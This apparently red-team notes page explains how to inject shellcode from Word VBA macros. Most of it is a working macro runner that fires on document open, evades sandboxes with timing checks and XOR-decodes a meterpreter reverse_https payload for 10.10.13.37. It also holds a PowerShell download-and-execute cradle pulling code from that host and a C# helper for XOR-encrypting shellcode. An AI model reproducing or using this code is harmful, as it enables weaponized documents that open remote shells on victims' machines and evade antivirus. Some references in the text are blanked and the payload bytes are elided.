Inject shellcode into current process's virtual address space
Last updated
VBA
how to map C types to appropriate VBA types manually.
With this approach the shell lives until Word is not closed (no WaitForSingleObject):
ShellcodeRunner.vba
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" (ByVal lpCallback As LongPtr) As Long
Sub Document_Open()
ShellcodeRunner
End Sub
Sub AutoOpen()
ShellcodeRunner
End Sub
Function ShellcodeRunner()
Dim buf As Variant
Dim tmp As LongPtr
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
Dim dream As Integer
Dim before As Date
' Check if we're in a sandbox by calling a rare-emulated API
If IsNull(FlsAlloc(tmp)) Then
Exit Function
End If
' Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
dream = Int((1500 * Rnd) + 2000)
before = Now()
Sleep (dream)
If DateDiff("s", t, Now()) < dream Then
Exit Function
End If
' msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key a
buf = Array(31, 33, ..., 33, 37)
' XOR-decrypt the shellcode
For i = 0 To UBound(buf)
buf(i) = buf(i) Xor Asc("a")
Next i
' &H3000 = 0x3000 = MEM_COMMIT | MEM_RESERVE
' &H40 = 0x40 = PAGE_EXECUTE_READWRITE
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
payload = r"powershell -exec bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/run.txt')"
output = ''.join([str(ord(c) ^ ord('a')).zfill(3) for c in payload])
print(output)
Shellcode XOR-encrypt helper for C# (msfvenom-like output style):
XOREncrypt.cs
using System;
using System.Text;
namespace XOREncrypt
{
class Program
{
static void Main(string[] args)
{
// msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharp
byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };
// XOR-encrypt the shellcode
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'a');
}
StringBuilder hex = new StringBuilder(buf.Length * 2);
//foreach (byte b in buf)
for (int i = 0; i < buf.Length; i++)
{
if (i != buf.Length - 1)
{
hex.AppendFormat("0x{0:x2},", buf[i]);
}
else // no "," for the last line
{
hex.AppendFormat("0x{0:x2}", buf[i]);
}
if ((i + 1) % 15 == 0)
{
hex.AppendLine();
}
}
Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {{\n{hex.ToString()} }};");
}
}
}
C data types to C# data types "translation" can be done with P/Invoke APIs (Platform Invocation Services) at (e. g., ).
lookupFunc 👉🏻 to obtain a reference to the System.dll assembly's GetModuleHandle and GetProcAddress methods using GetType and GetMethod functions (aka the technique).
getDelegateType 👉🏻 to define the argument types for the APIs and return it.
In order to run x64 shellcode from a 32-bit application (e. g., MS Word), you may want to specify the path to 64-bit PowerShell binary through alias.